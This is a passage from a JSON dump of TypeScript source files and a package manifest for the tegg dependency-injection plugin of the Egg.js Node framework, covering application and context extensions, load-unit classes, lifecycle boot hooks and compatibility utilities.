\"./dist/lib/EggCompatibleObject.js\",\n      \"./lib/EggCompatibleProtoImpl\": \"./dist/lib/EggCompatibleProtoImpl.js\",\n      \"./lib/EggContextCompatibleHook\": \"./dist/lib/EggContextCompatibleHook.js\",\n      \"./lib/EggContextHandler\": \"./dist/lib/EggContextHandler.js\",\n      \"./lib/EggContextImpl\": \"./dist/lib/EggContextImpl.js\",\n      \"./lib/EggModuleLoader\": \"./dist/lib/EggModuleLoader.js\",\n      \"./lib/EggQualifierProtoHook\": \"./dist/lib/EggQualifierProtoHook.js\",\n      \"./lib/ModuleConfigLoader\": \"./dist/lib/ModuleConfigLoader.js\",\n      \"./lib/ModuleHandler\": \"./dist/lib/ModuleHandler.js\",\n      \"./lib/run_in_background\": \"./dist/lib/run_in_background.js\",\n      \"./lib/Utils\": \"./dist/lib/Utils.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/background-task\": \"workspace:*\",\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/dynamic-inject-runtime\": \"workspace:*\",\n    \"@eggjs/lifecycle\": \"workspace:*\",\n    \"@eggjs/metadata\": \"workspace:*\",\n    \"@eggjs/module-common\": \"workspace:*\",\n    \"@eggjs/tegg-common-util\": \"workspace:*\",\n    \"@eggjs/tegg-loader\": \"workspace:*\",\n    \"@eggjs/tegg-runtime\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\",\n    \"await-first\": \"catalog:\",\n    \"extend2\": \"catalog:\",\n    \"sdk-base\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/tegg\": \"workspace:*\",\n    \"@eggjs/tegg-config\": \"workspace:*\",\n    \"@eggjs/tracer\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"egg-logger\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"@eggjs/tegg-config\": \"workspace:*\",\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"eggPlugin\": {\n    \"name\": \"tegg\",\n    \"dependencies\": [\n      \"teggConfig\"\n    ]\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/src/app/extend/application.ts",
    "content": "import type { EggProtoImplClass, QualifierInfo } from '@eggjs/core-decorator';\nimport { IdenticalUtil } from '@eggjs/lifecycle';\nimport {\n  EggPrototypeCreatorFactory,\n  EggPrototypeFactory,\n  EggPrototypeLifecycleUtil,\n  LoadUnitFactory,\n  LoadUnitLifecycleUtil,\n} from '@eggjs/metadata';\nimport { LoaderFactory } from '@eggjs/tegg-loader';\nimport {\n  AbstractEggContext,\n  EggContainerFactory,\n  EggObjectFactory,\n  LoadUnitInstanceFactory,\n  EggContextLifecycleUtil,\n  EggObjectLifecycleUtil,\n  LoadUnitInstanceLifecycleUtil,\n} from '@eggjs/tegg-runtime';\nimport type { RuntimeConfig } from '@eggjs/tegg-types';\nimport type { Application } from 'egg';\n\nexport default class TEggPluginApplication {\n  // @eggjs/metadata should not depend by other egg plugins.\n  // May make multi singleton instances.\n  // So tegg-compatible should delegate the metadata factories\n  // TODO delegate all the singleton\n  get eggPrototypeCreatorFactory(): typeof EggPrototypeCreatorFactory {\n    return EggPrototypeCreatorFactory;\n  }\n\n  get eggPrototypeFactory(): EggPrototypeFactory {\n    return EggPrototypeFactory.instance;\n  }\n\n  get loadUnitLifecycleUtil(): typeof LoadUnitLifecycleUtil {\n    return LoadUnitLifecycleUtil;\n  }\n\n  get loadUnitFactory(): typeof LoadUnitFactory {\n    return LoadUnitFactory;\n  }\n\n  get eggObjectFactory(): typeof EggObjectFactory {\n    return EggObjectFactory;\n  }\n\n  get loadUnitInstanceFactory(): typeof LoadUnitInstanceFactory {\n    return LoadUnitInstanceFactory;\n  }\n\n  get loadUnitInstanceLifecycleUtil(): typeof LoadUnitInstanceLifecycleUtil {\n    return LoadUnitInstanceLifecycleUtil;\n  }\n\n  get eggContainerFactory(): typeof EggContainerFactory {\n    return EggContainerFactory;\n  }\n\n  get loaderFactory(): typeof LoaderFactory {\n    return LoaderFactory;\n  }\n\n  get eggPrototypeLifecycleUtil(): typeof EggPrototypeLifecycleUtil {\n    return EggPrototypeLifecycleUtil;\n  }\n\n  get eggContextLifecycleUtil(): typeof EggContextLifecycleUtil {\n    return EggContextLifecycleUtil;\n  }\n\n  get eggObjectLifecycleUtil(): typeof EggObjectLifecycleUtil {\n    return EggObjectLifecycleUtil;\n  }\n\n  get abstractEggContext(): typeof AbstractEggContext {\n    return AbstractEggContext;\n  }\n\n  get identicalUtil(): typeof IdenticalUtil {\n    return IdenticalUtil;\n  }\n\n  get runtimeConfig(): RuntimeConfig {\n    const config = (this as unknown as Application).config;\n    return {\n      baseDir: config.baseDir,\n      env: config.env,\n      name: config.name,\n    };\n  }\n\n  async getEggObject<T>(\n    clazz: EggProtoImplClass<T>,\n    name?: string,\n    qualifiers?: QualifierInfo | QualifierInfo[],\n  ): Promise<T> {\n    if (qualifiers) {\n      qualifiers = Array.isArray(qualifiers) ? qualifiers : [qualifiers];\n    }\n    const eggObject = await EggContainerFactory.getOrCreateEggObjectFromClazz(\n      clazz as EggProtoImplClass,\n      name,\n      qualifiers as QualifierInfo[],\n    );\n    return eggObject.obj as T;\n  }\n\n  async getEggObjectFromName<T extends object>(name: string, qualifiers?: QualifierInfo | QualifierInfo[]): Promise<T> {\n    if (qualifiers) {\n      qualifiers = Array.isArray(qualifiers) ? qualifiers : [qualifiers];\n    }\n    const eggObject = await EggContainerFactory.getOrCreateEggObjectFromName(name, qualifiers as QualifierInfo[]);\n    return eggObject.obj as T;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/src/app/extend/application.unittest.ts",
    "content": "import type { EggContext, EggContextLifecycleContext } from '@eggjs/tegg-runtime';\nimport type { Context, Application } from 'egg';\n\nimport { EggContextImpl } from '../../lib/EggContextImpl.ts';\n\nconst TEGG_LIFECYCLE_CACHE: Map<EggContext, EggContextLifecycleContext> = new Map();\n\nlet hasMockModuleContext = false;\n\nexport default class TEggPluginApplicationUnittest {\n  async mockModuleContext(this: Application, data?: any): Promise<Context> {\n    this.deprecate('app.mockModuleContext is deprecated, use mockModuleContextScope.');\n    if (hasMockModuleContext) {\n      throw new Error('should not call mockModuleContext twice.');\n    }\n    // @ts-expect-error mockContext is not typed\n    const ctx = this.mockContext(data) as Context;\n    const teggCtx = new EggContextImpl(ctx);\n    const lifecycle = {};\n    TEGG_LIFECYCLE_CACHE.set(teggCtx, lifecycle);\n    if (teggCtx.init) {\n      await teggCtx.init(lifecycle);\n    }\n    hasMockModuleContext = true;\n    return ctx;\n  }\n\n  async destroyModuleContext(this: Application, ctx: Context): Promise<void> {\n    hasMockModuleContext = false;\n\n    const teggCtx = ctx.teggContext;\n    if (!teggCtx) {\n      return;\n    }\n    const lifecycle = TEGG_LIFECYCLE_CACHE.get(teggCtx);\n    if (teggCtx.destroy && lifecycle) {\n      await teggCtx.destroy(lifecycle);\n    }\n  }\n\n  async mockModuleContextScope<R = any>(fn: (ctx: Context) => Promise<R>, data?: any): Promise<R> {\n    if (hasMockModuleContext) {\n      throw new Error(\n        'mockModuleContextScope can not use with mockModuleContext, should use mockModuleContextScope only.',\n      );\n    }\n    // @ts-expect-error mockContextScope only exists in MockApplication\n    return this.mockContextScope(async (ctx: Context) => {\n      const teggCtx = new EggContextImpl(ctx);\n      const lifecycle = {};\n      if (teggCtx.init) {\n        await teggCtx.init(lifecycle);\n      }\n      try {\n        return await fn(ctx);\n      } finally {\n        await teggCtx.destroy(lifecycle);\n      }\n    }, data);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/src/app/extend/context.ts",
    "content": "import { type EggProtoImplClass, PrototypeUtil, type QualifierInfo } from '@eggjs/core-decorator';\nimport type { EggPrototype } from '@eggjs/metadata';\nimport { TEGG_CONTEXT } from '@eggjs/module-common';\nimport type { EggContext as TEggContext } from '@eggjs/tegg-runtime';\nimport type { Context } from 'egg';\n\nimport { ctxLifecycleMiddleware } from '../../lib/ctx_lifecycle_middleware.ts';\n\nexport default class TEggPluginContext {\n  // [TEGG_CONTEXT]: TEggContext | undefined;\n\n  async beginModuleScope(this: Context, func: () => Promise<void>): Promise<void> {\n    await ctxLifecycleMiddleware(this, func);\n  }\n\n  get teggContext(): TEggContext {\n    const ctx = this as unknown as Context;\n    if (!ctx[TEGG_CONTEXT]) {\n      throw new Error('tegg context have not ready, should call after teggCtxLifecycleMiddleware');\n    }\n    return ctx[TEGG_CONTEXT] as TEggContext;\n  }\n\n  async getEggObject<T>(this: Context, clazz: EggProtoImplClass<T>, name?: string): Promise<T> {\n    const protoObj = PrototypeUtil.getClazzProto(clazz as EggProtoImplClass);\n    if (!protoObj) {\n      throw new Error(`can not get proto for clazz ${clazz.name}`);\n    }\n    const proto = protoObj as EggPrototype;\n    const eggObject = await this.app.eggContainerFactory.getOrCreateEggObject(proto, name ?? proto.name);\n    return eggObject.obj as T;\n  }\n\n  async getEggObjectFromName<T>(this: Context, name: string, qualifiers?: QualifierInfo | QualifierInfo[]): Promise<T> {\n    if (qualifiers) {\n      qualifiers = Array.isArray(qualifiers) ? qualifiers : [qualifiers];\n    }\n    const eggObject = await this.app.eggContainerFactory.getOrCreateEggObjectFromName(\n      name,\n      qualifiers as QualifierInfo[],\n    );\n    return eggObject.obj as T;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/src/app/middleware/tegg_ctx_lifecycle_middleware.ts",
    "content": "import type { MiddlewareFunc } from 'egg';\n\nimport { ctxLifecycleMiddleware } from '../../lib/ctx_lifecycle_middleware.ts';\n\nexport default (): MiddlewareFunc => {\n  return ctxLifecycleMiddleware;\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/src/app.ts",
    "content": "// init loader\nimport './lib/AppLoadUnit.ts';\nimport './lib/AppLoadUnitInstance.ts';\nimport './lib/EggCompatibleObject.ts';\nimport { LoadUnitMultiInstanceProtoHook } from '@eggjs/metadata';\nimport type { Application, ILifecycleBoot } from 'egg';\n\nimport { CompatibleUtil } from './lib/CompatibleUtil.ts';\nimport { ConfigSourceLoadUnitHook } from './lib/ConfigSourceLoadUnitHook.ts';\nimport { EggContextCompatibleHook } from './lib/EggContextCompatibleHook.ts';\nimport { EggContextHandler } from './lib/EggContextHandler.ts';\nimport { EggQualifierProtoHook } from './lib/EggQualifierProtoHook.ts';\nimport { ModuleHandler } from './lib/ModuleHandler.ts';\nimport { hijackRunInBackground } from './lib/run_in_background.ts';\n\nexport default class TeggAppBoot implements ILifecycleBoot {\n  private readonly app: Application;\n  private compatibleHook?: EggContextCompatibleHook;\n  private eggContextHandler: EggContextHandler;\n  private eggQualifierProtoHook: EggQualifierProtoHook;\n  private loadUnitMultiInstanceProtoHook: LoadUnitMultiInstanceProtoHook;\n  private configSourceEggPrototypeHook: ConfigSourceLoadUnitHook;\n\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  configWillLoad(): void {\n    this.app.config.coreMiddleware.push('teggCtxLifecycleMiddleware');\n  }\n\n  configDidLoad(): void {\n    this.eggContextHandler = new EggContextHandler(this.app);\n    this.app.eggContextHandler = this.eggContextHandler;\n    this.eggContextHandler.register();\n    this.app.moduleHandler = new ModuleHandler(this.app);\n  }\n\n  async didLoad(): Promise<void> {\n    hijackRunInBackground(this.app);\n    this.loadUnitMultiInstanceProtoHook = new LoadUnitMultiInstanceProtoHook();\n    this.app.loadUnitLifecycleUtil.registerLifecycle(this.loadUnitMultiInstanceProtoHook);\n\n    // wait all file loaded, so app/ctx has all properties\n    this.eggQualifierProtoHook = new EggQualifierProtoHook(this.app);\n    this.app.loadUnitLifecycleUtil.registerLifecycle(this.eggQualifierProtoHook);\n\n    this.configSourceEggPrototypeHook = new ConfigSourceLoadUnitHook();\n    this.app.loadUnitLifecycleUtil.registerLifecycle(this.configSourceEggPrototypeHook);\n\n    // start load tegg objects\n    await this.app.moduleHandler.init();\n    this.compatibleHook = new EggContextCompatibleHook(this.app.moduleHandler);\n    this.app.eggContextLifecycleUtil.registerLifecycle(this.compatibleHook);\n  }\n\n  async beforeClose(): Promise<void> {\n    CompatibleUtil.clean();\n    await this.app.moduleHandler.destroy();\n    if (this.compatibleHook) {\n      this.app.eggContextLifecycleUtil.deleteLifecycle(this.compatibleHook);\n    }\n    if (this.eggQualifierProtoHook) {\n      this.app.loadUnitLifecycleUtil.deleteLifecycle(this.eggQualifierProtoHook);\n    }\n    if (this.configSourceEggPrototypeHook) {\n      this.app.loadUnitLifecycleUtil.deleteLifecycle(this.configSourceEggPrototypeHook);\n    }\n    if (this.loadUnitMultiInstanceProtoHook) {\n      this.app.loadUnitLifecycleUtil.deleteLifecycle(this.loadUnitMultiInstanceProtoHook);\n    }\n    LoadUnitMultiInstanceProtoHook.clear();\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/src/index.ts",
    "content": "import './types.ts';\n\nexport * from './app/extend/application.ts';\nexport * from './app/extend/context.ts';\n"
  },
  {
    "path": "tegg/plugin/tegg/src/lib/AppLoadUnit.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport {\n  type EggPrototypeName,\n  type QualifierInfo,\n  PrototypeUtil,\n  InitTypeQualifierAttribute,\n  LoadUnitNameQualifierAttribute,\n  QualifierUtil,\n} from '@eggjs/core-decorator';\nimport { IdenticalUtil } from '@eggjs/lifecycle';\nimport {\n  EggLoadUnitType,\n  type EggLoadUnitTypeLike,\n  type EggPrototype,\n  EggPrototypeFactory,\n  type Loader,\n  type LoadUnit,\n  LoadUnitFactory,\n  type LoadUnitLifecycleContext,\n  EggPrototypeCreatorFactory,\n} from '@eggjs/metadata';\nimport { MapUtil } from '@eggjs/tegg-common-util';\nimport type { Id } from '@eggjs/tegg-types';\n\nconst debug = debuglog('egg/tegg/plugin/tegg/lib/AppLoadUnit');\n\nexport class AppLoadUnit implements LoadUnit {\n  private readonly loader: Loader;\n  id: Id;\n  readonly name: string;\n  readonly type: EggLoadUnitTypeLike = EggLoadUnitType.APP;\n  readonly unitPath: string;\n  private protoMap: Map<EggPrototypeName, EggPrototype[]> = new Map();\n\n  constructor(name: string, unitPath: string, loader: Loader) {\n    this.id = IdenticalUtil.createLoadUnitId(name);\n    this.name = name;\n    this.unitPath = unitPath;\n    this.loader = loader;\n  }\n\n  async init(): Promise<void> {\n    const clazzList = await this.loader.load();\n    if (debug.enabled) {\n      debug(\n        'init, get clazzList:%j, from unitPath:%o:%o:%o',\n        clazzList.map((t) => t.name),\n        this.type,\n        this.name,\n        this.unitPath,\n      );\n    }\n    for (const clazz of clazzList) {\n      // TODO duplicate code, same in ModuleLoadUnit\n      const initTypeQualifierAttributeValue = await PrototypeUtil.getInitType(clazz, {\n        unitPath: this.unitPath,\n        moduleName: this.name,\n      });\n      const defaultQualifier = [\n        {\n          attribute: InitTypeQualifierAttribute,\n          value: initTypeQualifierAttributeValue!,\n        },\n        {\n          attribute: LoadUnitNameQualifierAttribute,\n          value: this.name,\n        },\n      ];\n      defaultQualifier.forEach((qualifier) => {\n        QualifierUtil.addProtoQualifier(clazz, qualifier.attribute, qualifier.value);\n      });\n      const protos = await EggPrototypeCreatorFactory.createProto(clazz, this);\n      for (const proto of protos) {\n        EggPrototypeFactory.instance.registerPrototype(proto, this);\n      }\n    }\n  }\n\n  containPrototype(proto: EggPrototype): boolean {\n    return !!this.protoMap.get(proto.name)?.find((t) => t === proto);\n  }\n\n  getEggPrototype(name: string, qualifiers: QualifierInfo[]): EggPrototype[] {\n    const protos = this.protoMap.get(name);\n    return protos?.filter((proto) => proto.verifyQualifiers(qualifiers)) || [];\n  }\n\n  registerEggPrototype(proto: EggPrototype): void {\n    const protoList = MapUtil.getOrStore(this.protoMap, proto.name, []);\n    protoList.push(proto);\n  }\n\n  deletePrototype(proto: EggPrototype): void {\n    const protos = this.protoMap.get(proto.name);\n    if (protos) {\n      const index = protos.indexOf(proto);\n      if (index !== -1) {\n        protos.splice(index, 1);\n      }\n    }\n  }\n\n  async destroy(): Promise<void> {\n    for (const namedProtos of this.protoMap.values()) {\n      // Delete prototype will delete item\n      // array iterator is not safe\n      const protos = namedProtos.slice();\n      for (const proto of protos) {\n        EggPrototypeFactory.instance.deletePrototype(proto, this);\n      }\n    }\n    this.protoMap.clear();\n  }\n\n  iterateEggPrototype(): IterableIterator<EggPrototype> {\n    const protos: EggPrototype[] = Array.from(this.protoMap.values()).reduce((p, c) => {\n      p = p.concat(c);\n      return p;\n    }, []);\n    return protos.values();\n  }\n\n  static createModule(ctx: LoadUnitLifecycleContext): AppLoadUnit {\n    return new AppLoadUnit('tegg-app', ctx.unitPath, ctx.loader);\n  }\n}\n\nLoadUnitFactory.registerLoadUnitCreator(EggLoadUnitType.APP, AppLoadUnit.createModule);\n"
  },
  {
    "path": "tegg/plugin/tegg/src/lib/AppLoadUnitInstance.ts",
    "content": "import { type EggObjectName, type EggPrototypeName, ObjectInitType } from '@eggjs/core-decorator';\nimport { IdenticalUtil } from '@eggjs/lifecycle';\nimport { EggLoadUnitType, type EggPrototype, type LoadUnit } from '@eggjs/metadata';\nimport { MapUtil } from '@eggjs/tegg-common-util';\nimport {\n  type EggObject,\n  EggObjectFactory,\n  type LoadUnitInstance,\n  LoadUnitInstanceFactory,\n  type LoadUnitInstanceLifecycleContext,\n  LoadUnitInstanceLifecycleUtil,\n} from '@eggjs/tegg-runtime';\nimport type { Id } from '@eggjs/tegg-types';\n\nexport class AppLoadUnitInstance implements LoadUnitInstance {\n  readonly loadUnit: LoadUnit;\n  readonly id: string;\n  readonly name: string;\n  private protoToCreateMap: Map<EggPrototypeName, EggPrototype> = new Map();\n  private eggObjectMap: Map<Id, Map<EggPrototypeName, EggObject>> = new Map();\n  private eggObjectPromiseMap: Map<Id, Map<EggPrototypeName, Promise<EggObject>>> = new Map();\n\n  constructor(loadUnit: LoadUnit) {\n    this.loadUnit = loadUnit;\n    this.name = loadUnit.name;\n    const iterator = this.loadUnit.iterateEggPrototype();\n    for (const proto of iterator) {\n      if (proto.initType === ObjectInitType.SINGLETON) {\n        this.protoToCreateMap.set(proto.name, proto);\n      }\n    }\n    this.id = IdenticalUtil.createLoadUnitInstanceId(loadUnit.id);\n  }\n\n  iterateProtoToCreate(): IterableIterator<[EggObjectName, EggPrototype]> {\n    return this.protoToCreateMap.entries();\n  }\n\n  addProtoToCreate(name: string, proto: EggPrototype): void {\n    this.protoToCreateMap.set(name, proto);\n  }\n\n  deleteProtoToCreate(name: string): void {\n    this.protoToCreateMap.delete(name);\n  }\n\n  async init(ctx: LoadUnitInstanceLifecycleContext): Promise<void> {\n    await LoadUnitInstanceLifecycleUtil.objectPreCreate(ctx, this);\n    for (const [name, proto] of this.protoToCreateMap) {\n      await this.getOrCreateEggObject(name, proto);\n    }\n  }\n\n  async destroy(): Promise<void> {\n    const objs: EggObject[] = [];\n    for (const protoObjMap of this.eggObjectMap.values()) {\n      for (const protoObj of protoObjMap.values()) {\n        objs.push(protoObj);\n      }\n    }\n    this.eggObjectMap.clear();\n    await Promise.all(\n      objs.map(async (obj) => {\n        await EggObjectFactory.destroyObject(obj);\n      }),\n    );\n  }\n\n  async getOrCreateEggObject(name: EggPrototypeName, proto: EggPrototype): Promise<EggObject> {\n    if (!this.loadUnit.containPrototype(proto)) {\n      throw new Error('load unit not contain proto');\n    }\n    const protoObjMap = MapUtil.getOrStore(this.eggObjectMap, proto.id, new Map());\n    if (!protoObjMap.has(name)) {\n      const protoObjPromiseMap = MapUtil.getOrStore(this.eggObjectPromiseMap, proto.id, new Map());\n      if (!protoObjPromiseMap.has(name)) {\n        const objPromise = EggObjectFactory.createObject(name, proto);\n        protoObjPromiseMap.set(name, objPromise);\n        const obj = await objPromise;\n        protoObjPromiseMap.delete(name);\n        protoObjMap.set(name, obj);\n      } else {\n        await protoObjPromiseMap.get(name);\n      }\n    }\n    return protoObjMap.get(name)!;\n  }\n\n  getEggObject(name: EggPrototypeName, proto: EggPrototype): EggObject {\n    const protoObjMap = this.eggObjectMap.get(proto.id);\n\n    if (!protoObjMap || !protoObjMap.has(name)) {\n      throw new Error(`EggObject ${String(proto.name)} not found`);\n    }\n    return protoObjMap.get(name)!;\n  }\n\n  static createModuleLoadUnitInstance(ctx: LoadUnitInstanceLifecycleContext): LoadUnitInstance {\n    return new AppLoadUnitInstance(ctx.loadUnit);\n  }\n}\n\nLoadUnitInstanceFactory.registerLoadUnitInstanceClass(\n  EggLoadUnitType.APP,\n  AppLoadUnitInstance.createModuleLoadUnitInstance,\n);\n"
  },
  {
    "path": "tegg/plugin/tegg/src/lib/CompatibleUtil.ts",
    "content": "import { InitTypeQualifierAttribute, ObjectInitType } from '@eggjs/core-decorator';\nimport { type EggPrototype, EggPrototypeFactory } from '@eggjs/metadata';\nimport { ProxyUtil } from '@eggjs/tegg-common-util';\nimport { EggContainerFactory, type LoadUnitInstance } from '@eggjs/tegg-runtime';\nimport type { Application, Context } from 'egg';\n\nexport class CompatibleUtil {\n  static singletonProtoCache: Map<PropertyKey, EggPrototype> = new Map();\n  static requestProtoCache: Map<PropertyKey, EggPrototype> = new Map();\n\n  static getSingletonProto(name: PropertyKey): EggPrototype {\n    if (!this.singletonProtoCache.has(name)) {\n      const proto = EggPrototypeFactory.instance.getPrototype(name, undefined, [\n        {\n          attribute: InitTypeQualifierAttribute,\n          value: ObjectInitType.SINGLETON,\n        },\n      ]);\n      this.singletonProtoCache.set(name, proto);\n    }\n    return this.singletonProtoCache.get(name)!;\n  }\n\n  static getRequestProto(name: PropertyKey): EggPrototype {\n    if (!this.requestProtoCache.has(name)) {\n      const proto = EggPrototypeFactory.instance.getPrototype(name, undefined, [\n        {\n          attribute: InitTypeQualifierAttribute,\n          value: ObjectInitType.CONTEXT,\n        },\n      ]);\n      this.requestProtoCache.set(name, proto);\n    }\n    return this.requestProtoCache.get(name)!;\n  }\n\n  private static singletonModuleProxyFactory(app: Application, loadUnitInstance: LoadUnitInstance) {\n    let deprecated = false;\n    return function (_: unknown, p: PropertyKey) {\n      const proto = CompatibleUtil.getSingletonProto(p);\n      const eggObj = EggContainerFactory.getEggObject(proto);\n      if (!deprecated) {\n        deprecated = true;\n        app.deprecate(\n          `[egg/module] Please use await app.getEggObject(clazzName) instead of app.${loadUnitInstance.name}.${String(p)}`,\n        );\n      }\n      return eggObj.obj;\n    };\n  }\n\n  static appCompatible(app: Application, loadUnitInstance: LoadUnitInstance): void {\n    const moduleLoadUnitProxy = ProxyUtil.safeProxy(\n      loadUnitInstance,\n      CompatibleUtil.singletonModuleProxyFactory(app, loadUnitInstance),\n    );\n    Reflect.defineProperty(app.module, loadUnitInstance.name, {\n      configurable: true,\n      value: moduleLoadUnitProxy,\n    });\n  }\n\n  static contextModuleProxyFactory(holder: Record<string, any>, ctx: Context, loadUnitInstance: LoadUnitInstance): any {\n    const cacheKey = `_${loadUnitInstance.name}Proxy`;\n    if (!holder[cacheKey]) {\n      let deprecated = false;\n      const getter = function (_: unknown, p: PropertyKey) {\n        const proto = CompatibleUtil.getRequestProto(p);\n        const eggObj = EggContainerFactory.getEggObject(proto, p);\n        if (!deprecated) {\n          deprecated = true;\n          ctx.app.deprecate(\n            `[egg/module] Please use await ctx.getEggObject(clazzName) instead of ctx.${loadUnitInstance.name}.${String(p)}`,\n          );\n        }\n        return eggObj.obj;\n      };\n      holder[cacheKey] = ProxyUtil.safeProxy(loadUnitInstance, getter);\n    }\n    return holder[cacheKey];\n  }\n\n  /**\n   * Compatible the context module, only for koa application\n   * @param contextPrototype - The prototype of the context\n   * @param loadUnitInstances - The load unit instances\n   */\n  static contextModuleCompatible(contextPrototype: any, loadUnitInstances: LoadUnitInstance[]): void {\n    const loadUnitInstanceMap = loadUnitInstances.reduce(\n      (p, c) => {\n        p[c.name] = c;\n        return p;\n      },\n      {} as Record<PropertyKey, LoadUnitInstance>,\n    );\n\n    // add module property to context prototype\n    // make `ctx.module` is a proxy object, when access `ctx.module.xxx`, it will return the egg object\n    // TODO: will be removed in future version, should use `app.getEggObject(clazzName)` instead of `ctx.module.xxx`\n    Reflect.defineProperty(contextPrototype, 'module', {\n      configurable: true,\n      enumerable: true,\n      get(this: Context): any {\n        if (!this._moduleProxy) {\n          const ctxModule = Object.create(loadUnitInstanceMap);\n          this._moduleProxy = ProxyUtil.safeProxy(ctxModule, (_, p: PropertyKey) => {\n            const loadUnitInstance = Reflect.get(ctxModule, p);\n            if (!loadUnitInstance) {\n              return;\n            }\n            return CompatibleUtil.contextModuleProxyFactory(ctxModule, this, loadUnitInstance);\n          });\n        }\n        return this._moduleProxy;\n      },\n    });\n  }\n\n  static clean(): void {\n    this.singletonProtoCache.clear();\n    this.requestProtoCache.clear();\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/src/lib/ConfigSourceLoadUnitHook.ts",
    "content": "import {\n  PrototypeUtil,\n  QualifierUtil,\n  ConfigSourceQualifier,\n  ConfigSourceQualifierAttribute,\n} from '@eggjs/core-decorator';\nimport type { LifecycleHook } from '@eggjs/lifecycle';\nimport type { LoadUnit, LoadUnitLifecycleContext } from '@eggjs/metadata';\n\n/**\n * Copy from standalone/src/ConfigSourceLoadUnitHook\n * Hook for inject moduleConfig.\n * Add default qualifier value is current module name.\n */\nexport class ConfigSourceLoadUnitHook implements LifecycleHook<LoadUnitLifecycleContext, LoadUnit> {\n  async preCreate(ctx: LoadUnitLifecycleContext, loadUnit: LoadUnit): Promise<void> {\n    const classList = await ctx.loader.load();\n    for (const clazz of classList) {\n      const injectObjects = PrototypeUtil.getInjectObjects(clazz);\n      const moduleConfigObject = injectObjects.find((t) => t.objName === 'moduleConfig');\n      const configSourceQualifier = QualifierUtil.getProperQualifier(\n        clazz,\n        'moduleConfig',\n        ConfigSourceQualifierAttribute,\n      );\n      if (moduleConfigObject && !configSourceQualifier) {\n        ConfigSourceQualifier(loadUnit.name)(clazz.prototype, moduleConfigObject.refName);\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/src/lib/EggAppLoader.ts",
    "content": "import { BackgroundTaskHelper } from '@eggjs/background-task';\nimport {\n  AccessLevel,\n  type EggProtoImplClass,\n  EggQualifierAttribute,\n  EggType,\n  InitTypeQualifierAttribute,\n  LoadUnitNameQualifierAttribute,\n  ObjectInitType,\n  PrototypeUtil,\n  QualifierUtil,\n} from '@eggjs/core-decorator';\nimport { EggObjectFactory } from '@eggjs/dynamic-inject-runtime';\nimport { type Loader, TeggError } from '@eggjs/metadata';\nimport { ObjectUtils } from '@eggjs/tegg-common-util';\nimport type { Application } from 'egg';\n\nimport { COMPATIBLE_PROTO_IMPLE_TYPE } from './EggCompatibleProtoImpl.ts';\nimport { ModuleConfigLoader } from './ModuleConfigLoader.ts';\n\nexport const APP_CLAZZ_BLACK_LIST: readonly string[] = ['eggObjectFactory', 'moduleConfigs'];\n\nexport const CONTEXT_CLAZZ_BLACK_LIST: readonly string[] = [\n  // just use the app.logger, ctx logger is deprecated.\n  'logger',\n];\nexport const DEFAULT_APP_CLAZZ: readonly string[] = [];\nexport const DEFAULT_CONTEXT_CLAZZ: readonly string[] = ['user'];\n\nexport class EggAppLoader implements Loader {\n  private readonly app: Application;\n  private readonly moduleConfigLoader: ModuleConfigLoader;\n\n  constructor(app: Application) {\n    this.app = app;\n    this.moduleConfigLoader = new ModuleConfigLoader(this.app);\n  }\n\n  private buildClazz(name: string, eggType: EggType): EggProtoImplClass {\n    const app = this.app;\n    let func: EggProtoImplClass;\n    if (eggType === EggType.APP) {\n      func = function () {\n        return app[name as keyof Application];\n      } as any;\n    } else {\n      func = function () {\n        const ctx = app.currentContext;\n        if (!ctx) {\n          // ctx has been destroyed, throw humanize error info\n          throw TeggError.create(\n            `Can not read property \\`${name}\\` because egg ctx has been destroyed`,\n            'read_after_ctx_destroyed',\n          );\n        }\n\n        return ctx[name];\n      } as any;\n    }\n    Object.defineProperty(func, 'name', {\n      value: name,\n      writable: false,\n      enumerable: false,\n      configurable: true,\n    });\n    PrototypeUtil.setIsEggPrototype(func);\n    PrototypeUtil.setFilePath(func, 'mock_file_path');\n    PrototypeUtil.setProperty(func, {\n      name,\n      initType: ObjectInitType.SINGLETON,\n      accessLevel: AccessLevel.PUBLIC,\n      protoImplType: COMPATIBLE_PROTO_IMPLE_TYPE,\n    });\n    QualifierUtil.addProtoQualifier(func, LoadUnitNameQualifierAttribute, 'app');\n    QualifierUtil.addProtoQualifier(func, InitTypeQualifierAttribute, ObjectInitType.SINGLETON);\n    QualifierUtil.addProtoQualifier(func, EggQualifierAttribute, eggType);\n    return func;\n  }\n\n  private buildAppLoggerClazz(name: string): EggProtoImplClass {\n    const app = this.app;\n    const func: EggProtoImplClass = function () {\n      return app.getLogger(name);\n    } as any;\n    Object.defineProperty(func, 'name', {\n      value: name,\n      writable: false,\n      enumerable: false,\n      configurable: true,\n    });\n    PrototypeUtil.setIsEggPrototype(func);\n    PrototypeUtil.setFilePath(func, 'mock_file_path');\n    PrototypeUtil.setProperty(func, {\n      name,\n      initType: ObjectInitType.SINGLETON,\n      accessLevel: AccessLevel.PUBLIC,\n      protoImplType: COMPATIBLE_PROTO_IMPLE_TYPE,\n    });\n    QualifierUtil.addProtoQualifier(func, LoadUnitNameQualifierAttribute, 'app');\n    QualifierUtil.addProtoQualifier(func, InitTypeQualifierAttribute, ObjectInitType.SINGLETON);\n    QualifierUtil.addProtoQualifier(func, EggQualifierAttribute, EggType.APP);\n  